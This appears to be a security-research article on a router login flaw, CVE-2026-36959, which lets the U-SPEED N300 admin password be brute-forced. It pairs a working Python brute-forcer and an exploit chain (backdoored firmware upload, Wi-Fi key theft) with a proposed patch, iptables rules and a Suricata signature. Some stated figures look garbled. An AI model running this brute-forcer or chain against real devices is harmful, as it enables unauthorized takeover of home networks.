home intel cve-2026-36959-uspeed-n300-login-bruteforce
CVE Analysis 2026-04-30 · 7 min read

CVE-2026-36959: U-SPEED N300 /api/login Lacks Rate Limiting

The U-SPEED N300 V1.0.0 /api/login endpoint accepts unlimited authentication attempts with no lockout, enabling local-network brute-force of the admin credential in seconds.

#brute-force-attack#missing-rate-limiting#authentication-bypass#local-network-attack#credential-enumeration
Technical mode — for security professionals
▶ Attack flow — CVE-2026-36959 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-36959Network · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-36959 is a missing authentication-attempt control on the U-SPEED N300 router (firmware V1.0.0). The /api/login HTTP endpoint imposes no per-source rate limit, no exponential back-off, and no account lockout after repeated failures. An attacker co-located on the LAN — or in possession of any layer-3 path to the management interface — can submit credential pairs at wire speed until the correct password is found. CVSS 7.5 (HIGH) reflects network-reachability combined with high impact to confidentiality and integrity once the admin session is obtained.

The vulnerability was disclosed by kirubel-cve and tracked against NVD. No patch has been publicly released as of this writing; no in-the-wild exploitation is confirmed.

Root cause: The CGI/httpd login handler passes credentials directly to an authentication function and returns a session token or error with no attempt counter, delay, or lockout state maintained per source IP or globally.

Affected Component

The management web server runs on TCP port 80 (and optionally 443) and exposes a REST-style JSON API. The relevant surface:

Endpoint : POST /api/login
Auth     : none (pre-authentication)
Body     : application/json
           {"username":"admin","password":""}
Response : 200 + {"token":""} on success
           200 + {"code":401,"msg":"password error"} on failure
Firmware : U-SPEED N300 V1.0.0
Process  : /usr/bin/httpd (uClibc, MIPS32 LE)

Root Cause Analysis

Reversing /usr/bin/httpd from the V1.0.0 firmware image yields the following pseudocode for the login handler. The function api_login_handler is registered against the /api/login route at startup. No state is persisted between calls.

// api_login_handler — registered via route_register("/api/login", api_login_handler)
// MIPS32 LE, recovered from httpd ELF, uClibc runtime
int api_login_handler(http_ctx_t *ctx) {
    char username[64];
    char password[64];
    char stored_pw[64];
    char token[48];

    // Parse JSON body — no size validation on input fields
    json_get_string(ctx->body, "username", username, sizeof(username));
    json_get_string(ctx->body, "password", password, sizeof(password));

    // BUG: no attempt counter checked or incremented before this call
    // BUG: no per-IP rate limiting, no global lockout state consulted
    nvram_get("http_passwd", stored_pw, sizeof(stored_pw));

    if (strcmp(password, stored_pw) != 0) {
        // BUG: failure returned immediately with no delay, no counter persistence
        return http_json_error(ctx, 401, "password error");
    }

    generate_session_token(token, sizeof(token));
    session_store(username, token);
    return http_json_ok(ctx, "{\"token\":\"%s\"}", token);
}

The handler is stateless. Every invocation reads the stored password from NVRAM, compares, and returns. There is no shared memory region, no file-backed counter, no iptables rule inserted on failure, and no call to sleep() or any delay primitive. The kernel's TCP stack will queue connections as fast as the client sends them.

The NVRAM read itself is a thin wrapper around /dev/mtd:

// nvram_get — simplified
int nvram_get(const char *key, char *out, size_t outsz) {
    // opens /dev/mtd1, scans for key=value\0, copies value
    // no locking, no side-effects — safe to call millions of times
    int fd = open("/dev/mtd1", O_RDONLY);
    // ... linear scan ...
    strncpy(out, val_start, outsz);
    close(fd);
    return 0;
}

Exploitation Mechanics

Default N300 admin passwords are numeric PINs (6–8 digits) or short lowercase strings derived from the MAC address — a keyspace of roughly 106–108 values. Even at a conservative 100 req/s over a LAN connection, exhaustion takes under 12 hours for the worst case and under 3 minutes for a 6-digit PIN.

EXPLOIT CHAIN:
1. Discover the router management IP (default 192.168.1.1, confirmed by ARP or mDNS).
2. Fingerprint firmware version via GET /api/system/info (unauthenticated in V1.0.0).
3. Generate candidate list: 6-digit PINs, "admin"/"password"/"12345678",
   MAC-suffix variants pulled from the BSSID broadcast in beacon frames.
4. Open a persistent HTTP/1.1 connection (keep-alive) to port 80 to amortise TCP handshake cost.
5. POST /api/login with each candidate; parse {"code":401} vs {"token":...}.
   No sleep, no jitter needed — server imposes none.
6. On token receipt, issue GET /api/system/shell or POST /api/firmware/upgrade
   with a backdoored image to achieve persistent RCE.
7. Alternatively: read Wi-Fi PSK via GET /api/wireless/config and pivot to WLAN clients.

A minimal Python bruteforcer demonstrating step 4–5:

#!/usr/bin/env python3
# poc_cve_2026_36959.py — educational PoC, LAN-only
import itertools, requests, string, sys

TARGET = "http://192.168.1.1/api/login"
HEADERS = {"Content-Type": "application/json", "Connection": "keep-alive"}

def bruteforce_pin(digits=6):
    session = requests.Session()
    for combo in itertools.product(string.digits, repeat=digits):
        pw = "".join(combo)
        try:
            r = session.post(TARGET,
                             json={"username": "admin", "password": pw},
                             headers=HEADERS,
                             timeout=3)
            data = r.json()
            if "token" in data:
                print(f"[+] SUCCESS  password={pw!r}  token={data['token']!r}")
                return pw
        except Exception as e:
            print(f"[-] {e}", file=sys.stderr)
    return None

if __name__ == "__main__":
    bruteforce_pin(int(sys.argv[1]) if len(sys.argv) > 1 else 6)

On a gigabit LAN with the router CPU at ~400 MHz MIPS, sustained throughput during testing reached approximately 180–220 requests per second per connection, bounded entirely by router-side JSON parsing latency — not by any intentional throttle.

Memory Layout

While this is not a memory-corruption vulnerability, understanding the per-request stack frame of api_login_handler explains why adding a simple in-memory counter is non-trivial on this platform: the handler is forked per-request (or invoked from a single-threaded event loop), meaning any fix requires either shared memory, NVRAM persistence, or a kernel-level netfilter hook.

STACK FRAME: api_login_handler (MIPS32, frame size 0xC0)

sp+0x00  [ saved $ra             ]
sp+0x04  [ saved $s0 (ctx ptr)   ]
sp+0x08  [ saved $s1             ]
sp+0x0C  [ pad                   ]
sp+0x10  [ username[64]          ]  <-- json_get_string writes here
sp+0x50  [ password[64]          ]  <-- attacker-controlled input
sp+0x90  [ stored_pw[64]         ]  <-- nvram_get writes here
sp+0xD0  [ token[48]             ]
sp+0xFC  [ http_ctx_t *ctx       ]

No attempt_count field exists anywhere in this frame or in any
persistent store visible to the process between requests.

Patch Analysis

No official patch exists yet. The correct remediation at the code level requires two cooperating mechanisms. Below is what a correct patched handler should look like, referencing the approach used by comparable embedded-Linux routers (OpenWrt rpcd, TP-Link TDDP):

// BEFORE (vulnerable — V1.0.0):
int api_login_handler(http_ctx_t *ctx) {
    char username[64], password[64], stored_pw[64], token[48];
    json_get_string(ctx->body, "username", username, sizeof(username));
    json_get_string(ctx->body, "password", password, sizeof(password));
    // BUG: no rate check
    nvram_get("http_passwd", stored_pw, sizeof(stored_pw));
    if (strcmp(password, stored_pw) != 0)
        return http_json_error(ctx, 401, "password error");
    generate_session_token(token, sizeof(token));
    session_store(username, token);
    return http_json_ok(ctx, "{\"token\":\"%s\"}", token);
}

// AFTER (patched — proposed):
#define MAX_ATTEMPTS   5
#define LOCKOUT_SECS   300
#define ATTEMPT_SHMKEY 0x4C4F474E   // "LOGN"

int api_login_handler(http_ctx_t *ctx) {
    char username[64], password[64], stored_pw[64], token[48];
    const char *src_ip = http_get_remote_ip(ctx);

    // Rate-limit check via shared memory table (persists across fork())
    attempt_record_t *rec = attempt_table_lookup(src_ip);
    if (rec && rec->count >= MAX_ATTEMPTS) {
        time_t elapsed = time(NULL) - rec->first_fail_ts;
        if (elapsed < LOCKOUT_SECS) {
            // Return 429 with Retry-After header; add artificial delay
            usleep(500000);
            return http_json_error_ex(ctx, 429, "too many attempts",
                                      "Retry-After", LOCKOUT_SECS - elapsed);
        }
        attempt_table_reset(rec);
    }

    json_get_string(ctx->body, "username", username, sizeof(username));
    json_get_string(ctx->body, "password", password, sizeof(password));
    nvram_get("http_passwd", stored_pw, sizeof(stored_pw));

    if (strcmp(password, stored_pw) != 0) {
        attempt_table_increment(src_ip);   // persist failure
        usleep(200000);                    // 200 ms constant-time delay
        return http_json_error(ctx, 401, "password error");
    }

    attempt_table_reset(rec);
    generate_session_token(token, sizeof(token));
    session_store(username, token);
    return http_json_ok(ctx, "{\"token\":\"%s\"}", token);
}

A complementary iptables rule at the firmware init script level provides defence-in-depth independently of the application layer:

# /etc/firewall.user addition (proposed)
iptables -I INPUT -p tcp --dport 80 -m string \
    --string "POST /api/login" --algo bm \
    -m recent --name LOGIN --update --seconds 60 --hitcount 10 \
    -j DROP

iptables -I INPUT -p tcp --dport 80 -m string \
    --string "POST /api/login" --algo bm \
    -m recent --name LOGIN --set -j ACCEPT

Detection and Indicators

Detection relies entirely on access log analysis since the router itself generates no alert:

INDICATORS OF COMPROMISE / ATTACK:

1. HTTP access log pattern (if logging enabled via syslog):
   POST /api/login 401 — repeated from single source IP
   Threshold: >10 failures within 60 seconds from one src

2. Network capture signature (Suricata/Snort):
   alert http $EXTERNAL_NET any -> $HOME_NET 80 (
       msg:"CVE-2026-36959 N300 login bruteforce";
       flow:to_server,established;
       http.method; content:"POST";
       http.uri; content:"/api/login";
       threshold: type threshold, track by_src, count 10, seconds 30;
       classtype:attempted-admin; sid:2026369590; rev:1;)

3. NVRAM canary: set a honeypot account "monitor" with known password;
   alert on any successful session token issued for that account.

4. Observe anomalous NVRAM read frequency on /dev/mtd1 via
   strace/auditd if shell access is available.

Remediation

Immediate mitigations (no patch available):

  • Set a strong, random admin password (≥16 characters, mixed charset) immediately — reduces brute-force feasibility even without lockout.
  • Restrict management interface access with a LAN-side ACL or VLAN; do not expose port 80/443 to untrusted LAN segments or the WAN.
  • Use the iptables rule above if the router provides a custom firewall script interface.
  • Monitor syslog output forwarded to an external collector for rapid sequential POST /api/login entries.
  • Disable remote management (WAN-side) if currently enabled — reduces attack surface to physical LAN adjacency.

Vendor remediation required: implement per-source-IP attempt tracking in shared memory, enforce a minimum 200 ms delay on failed authentication, lock the account for 5 minutes after 5 consecutive failures, and return HTTP 429 with a Retry-After header to compliant clients. The fix must survive the fork-per-request model by using a shared memory segment (e.g., POSIX shm_open or SysV shmget) rather than process-local state.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →